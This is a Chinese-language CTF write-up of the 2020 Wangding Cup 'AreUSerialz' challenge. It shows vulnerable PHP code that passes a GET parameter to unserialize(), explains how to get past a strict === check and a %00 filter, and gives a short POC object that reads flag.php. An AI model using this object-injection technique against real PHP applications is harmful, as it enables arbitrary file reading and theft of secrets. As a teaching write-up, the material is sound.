网鼎杯2020青龙组AreUSerialz php反序列化漏洞 Write-up
2023-06-15 17:09:02 # Web Security # PHP

前言

这个漏洞不难,但是在绕过方面的小Tip很值得学习,所以写这篇文章来记录一下。靶场地址

解题思路

先看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {//如果op=1,写出文件
$this->write();
} else if($this->op == "2") {//如果op=2,读入文件
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");//否则提示错误
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {//若当前filename有值,读取该filename
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")//如果op的大小为2,且类型为string,将其转化为1
$this->op = "1";
$this->content = "";
$this->process();//执行process()
}

}

function is_valid($s) {//对反序列化字段%00有检测
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

有一个include("flag.php");,我们猜测flag应该就是中flag.php

可以发现,最后一段unserialize()里的参数是来源于Get请求中的str参数,那么我们可以发送GET请求来执行反序列化操作。

有了unserialize()函数,我们还需要一个有可利用的魔法函数的Class。很明显,我们可以看到上面有一个class FileHandler,通过观察,他有_destruct()方法,且方法中执行了process()函数。再分析process()函数可以发现它在对op的值进行判断。若op=2,我们就可以读取我们想要的文件了!

因为在_destruct()中,判断op是用的===,即要求变量类型和数值都得一样,所以我们可以把op写成op=2,这样因为不是String类型,就不会被检测了,最终可以绕过该检测。

1
2
if($this->op === "2")//如果op的大小为2,且类型为string,将其转化为1
$this->op = "1";

另外is_valid()对反序列化字段%00有检测,如果我们用protected类型的attribute写POC是无法绕过的,

php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

所以我们可以把attribute都改成public

POC

1
2
3
4
5
6
7
<?php
class FileHandler{
public $op=2;
public $filename="flag.php";
}
$o=new FileHandler();
echo serialize($o);

生成出来的序列化数据用get形式发给网址

image-20210715142703979

可以看到result已经有了,右键查看源代码即可得到flag

总结

之前一直没搞清楚 __construct()的触发机制,__construct()在执行unserialize()时是不会被触发的。

主要是两个坑点:

  • is_valid()导致%00无法写入 -> php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可

  • php=====的区别:

    • 三个等号时,除了两变量的值相同外,还必须这两变量的类型相同,才能输出true,否则输出false